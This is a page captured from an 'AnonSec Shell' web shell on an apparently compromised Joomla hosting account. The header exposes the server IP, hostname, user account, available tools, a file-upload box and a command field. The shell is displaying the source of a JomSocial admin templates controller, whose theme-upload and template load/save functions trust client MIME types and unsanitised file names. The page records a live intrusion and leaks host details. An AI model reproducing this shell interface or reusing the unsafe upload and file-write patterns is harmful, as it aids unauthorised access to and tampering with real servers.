AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/www/cj79373/administrator/components/com_community/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/www/cj79373/administrator/components/com_community/controllers/templates.php
<?php
/**
* @copyright (C) 2013 iJoomla, Inc. - All rights reserved.
* @license GNU General Public License, version 2 (http://www.gnu.org/licenses/gpl-2.0.html)
* @author iJoomla.com <webmaster@ijoomla.com>
* @url https://www.jomsocial.com/license-agreement
* The PHP code portions are distributed under the GPL license. If not otherwise stated, all images, manuals, cascading style sheets, and included JavaScript *are NOT GPL, and are released under the IJOOMLA Proprietary Use License v1.0
* More info at https://www.jomsocial.com/license-agreement
*/

// Disallow direct access to this file
defined('_JEXEC') or die('Restricted access');

jimport( 'joomla.application.component.controller' );

/**
 * JomSocial Component Controller
 */
class CommunityControllerTemplates extends CommunityController
{
	public function __construct()
	{
		parent::__construct();
	}

	public function publish()
	{
	    JSession::checkToken() or jexit( 'Invalid Token' );

		$mainframe  = JFactory::getApplication();
		$jinput 	= $mainframe->input;
	    $template   = $jinput->post->get('template', NULL, 'NONE');

	    // set as default
	    if (!$jinput->post->get('uploadTheme', NULL, 'NONE')) {
	    	$model		= $this->getModel('Configuration');
	    	$model->updateTemplate($template);

	    	return $this->setRedirect(JRoute::_('index.php?option=com_community&view=templates', false) , JText::sprintf('COM_COMMUNITY_TEMPLATE_CONFIGURATION_UPDATED', $template ), 'message');
	    } else {
	    	// theme upload
			$themefile = $jinput->files->get('new-theme-upload', array(), 'raw');
	    	if ($themefile['type'] == 'application/zip' || $themefile['type'] == 'application/x-zip-compressed' || $themefile['type'] == 'application/octet-stream') {
	    		$config = JFactory::getConfig();
	    		$tmp_dest = $config->get('tmp_path') . '/' . $themefile['name'];
				
				// move uploaded file to tmp folder.
				if (move_uploaded_file($themefile['tmp_name'], $tmp_dest)) {
					jimport('joomla.filesystem.*');
                    jimport('joomla.filesystem.archive');

                    $templateName = explode('_', basename($themefile['name'], '.zip'));
	    			$templateName = $templateName[0];
                    $templatefolder = COMMUNITY_TEMPLATE_PATH . '/' . $templateName;
                    JArchive::extract($tmp_dest, $templatefolder);

                    $path = $templatefolder .'/assets/css/style.css';
					if (file_exists($path)) {
						return $this->setRedirect(JRoute::_('index.php?option=com_community&view=templates', false) , JText::_('COM_COMMUNITY_THEME_UPLOADED'), 'message');
					} else {
						JFolder::delete($templatefolder);

						return $this->setRedirect(JRoute::_('index.php?option=com_community&view=templates', false) , JText::_('COM_COMMUNITY_THEME_INVALID_FILE'), 'error');
					}
				} else {
					return $this->setRedirect(JRoute::_('index.php?option=com_community&view=templates', false) , JText::_('COM_COMMUNITY_THEME_UNABLE_UPLOAD'), 'error');
				}
	    	} else {
	    		return $this->setRedirect(JRoute::_('index.php?option=com_community&view=templates', false) , JText::_('COM_COMMUNITY_THEME_INVALID_FILE'), 'error');
	    	}
	    }
	}

	public function ajaxChangeTemplate( $templateName )
	{
		$response	= new JAXResponse();

		if( $templateName == 'none' )
		{
			// Previously user might already selected a template, hide the files
			$response->addScriptCall( 'azcommunity.resetTemplateFiles();' );

			// Close all files if it is already editing
			$response->addScriptCall( 'azcommunity.resetTemplateForm();' );
		}
		else
		{
			$html	= '<div id="template-files">';
			$html	.= '<h3>' . JText::_('COM_COMMUNITY_SELECT_FILE') . '</h3>';


			$templatePath	= COMMUNITY_BASE_PATH . '/templates/'. JString::strtolower( $templateName );

			$files			= array();

			if( $handle = @opendir($templatePath) )
			{
				while( false !== ( $file = readdir( $handle ) ) )
				{
					$filePath	= $templatePath .'/'. $file;

					// Do not get '.' or '..' or '.svn' since we only want folders.
					if( $file != '.' && $file != '..' && $file != '.svn' && !(JString::stristr( $file , '.js')) && !is_dir($filePath) )
					{
						$files[]	= $file;
					}
				}
			}
			sort($files);

			$html	.= '<select name="file" onchange="azcommunity.editTemplate(\'' . $templateName . '\',this.value);">';
			$html	.= '<option value="none" selected="true">' . JText::_('COM_COMMUNITY_SELECT_FILE') . '</option>';
			for( $i = 0; $i < count( $files ); $i++ )
			{
				$html .= '<option value="' . $files[$i] . '">' . $files[$i] . '</option>';
			}
			$html	.= '</select>';

			$html	.= '</div>';
			$response->addAssign( 'templates-files-container' , 'innerHTML' , $html );
		}

		return $response->sendResponse();
	}

	/**
	 * Ajax method to load a template file
	 *
	 * @param	$templateName	The template name
	 * @param	$fileName	The file name
	 **/
	public function ajaxLoadTemplateFile( $templateName , $fileName , $override )
	{
		$response	= new JAXResponse();

		if( $fileName == 'none')
		{
			$response->addScriptCall( 'azcommunity.resetTemplateForm();' );
		}
		else
		{
			$filePath	= COMMUNITY_BASE_PATH . '/templates/'. JString::strtolower( $templateName ) .'/'. JString::strtolower( $fileName );

			if( $override )
				$filePath	= JPATH_ROOT . '/templates/'. JString::strtolower( $templateName ) . '/html/com_community/'. JString::strtolower( $fileName );

			jimport('joomla.filesystem.file');

			$contents	= file_get_contents( $filePath );

			$response->addAssign( 'data' , 'value' , $contents );
			$response->addAssign( 'fileName' , 'value' , $fileName );
			$response->addAssign( 'templateName' , 'value' , $templateName );
			$response->addAssign( 'filePath' , 'innerHTML' , $filePath );
		}

		return $response->sendResponse();
	}

	public function ajaxSaveTemplateFile( $templateName , $fileName , $fileData , $override )
	{
		$response	= new JAXResponse();

		$filePath	= COMMUNITY_BASE_PATH . '/templates/'. JString::strtolower( $templateName ) .'/'. JString::strtolower( $fileName );

		if( $override )
			$filePath	= JPATH_ROOT . '/templates/'. JString::strtolower( $templateName ) . '/html/com_community/'. JString::strtolower( $fileName );

		jimport( 'joomla.filesystem.file' );

		if( JFile::write( $filePath , $fileData ) )
		{
			$response->addScriptCall('joms.jQuery("#status").remove();');
			$response->addScriptCall('joms.jQuery("<div id=\'status\'></div>")
				.html("' . JText::sprintf('%1$s saved successfully.' , $fileName ) . '")
				.attr("class","alert alert-success")
				.css({"float": "left", "width": "97%"})
				.insertAfter("textarea");');
		}
		else
		{
			$response->addScriptCall( 'alert' , JText::_('COM_COMMUNITY_TEMPLATES_FILE_SAVE_ERROR') );
		}

		return $response->sendResponse();
	}

	public function save()
	{
		$mainframe	= JFactory::getApplication();
		$jinput 	= $mainframe->input;
		$params		= $jinput->post->get('params', array(), 'array');
		$element	= $jinput->getString( 'id' );
		$override	= $jinput->get('override',NULL,'NONE') ;
        $heroImage = $jinput->files->get('hero_image' , '', 'NONE');
        $task       = $jinput->get( 'task' );

		if( $override )
		{
			$xml	= JPATH_ROOT . '/templates/'. $element . '/html/com_community/'. COMMUNITY_TEMPLATE_XML;
			$file	= JPATH_ROOT . '/templates/'. $element . '/html/com_community/params.ini';

			if( !JFile::exists( $xml ) )
			{
				$file	= JPATH_ROOT . '/templates/'. $element . '/params.ini';
			}
		}
		else
		{
			$file		= JPATH_ROOT . '/components/com_community/templates/'. $element . '/params.ini';
		}

		jimport('joomla.filesystem.file');

		$registry	= new JRegistry();
		$registry->loadArray($params);
		$raw		= $registry->toString();

		if( !empty( $raw ) )
		{
			if( !JFile::write( $file , $raw ) )
			{
				return $this->setRedirect( 'index.php?option=com_community&view=templates&layout=edit&id=' . $element , JText::_('COM_COMMUNITY_TEMPLATES_PARAMETERS_SAVE_ERROR') , 'error' );
			}
		}

        //hero image here
        if( !empty($heroImage['tmp_name']) && isset($heroImage['name']) && !empty($heroImage['name']) ){

            $imagePath = COMMUNITY_PATH_ASSETS; // same as the image path


            //check the file extension first and only allow jpg or png
            $ext = strtolower(pathinfo($heroImage['name'], PATHINFO_EXTENSION));

            if(!in_array( $ext, array('jpg','png') ) || ($heroImage['type'] != 'image/png' && $heroImage['type'] != 'image/jpeg') ){
                return $this->setRedirect( 'index.php?option=com_community&view=templates&layout=edit&id=' . $element , JText::_('COM_COMMUNITY_TEMPLATES_PARAMETERS_SAVE_ERROR') , 'error' );
            }

            //check if existing hero image exist, if yes, delete it
            if(file_exists($imagePath.'/hero-image.jpg')){
                unlink($imagePath.'/hero-image.jpg');
            }else if(file_exists($imagePath.'/hero-image.png')){
                unlink($imagePath.'/hero-image.png');
            }

            //let move the tmp image to the actual path
            move_uploaded_file($heroImage['tmp_name'],$imagePath.'hero-image.'.$ext);

        }

		switch($task){
            case 'apply';
                $link   = 'index.php?option=com_community&view=templates&layout=edit&override='.$override.'&id='.$element;
                break;
            case 'save';
            default:
                $link   = 'index.php?option=com_community&view=templates';
                break;
        }

		return $this->setRedirect( $link , JText::_('COM_COMMUNITY_TEMPLATES_PARAMETERS_SAVED'), 'message' );
	}

	public function apply()
	{
        $this->save();
    }

	public function edit()
	{
		$mainframe	= JFactory::getApplication();
		$jinput 	= $mainframe->input;
		$id			= $jinput->get('cid', NULL, 'NONE');

		$mainframe->redirect( 'index.php?option=com_community&view=templates&layout=edit&id=' . $id[0] );
	}
}

Anon7 - 2022
AnonSec Team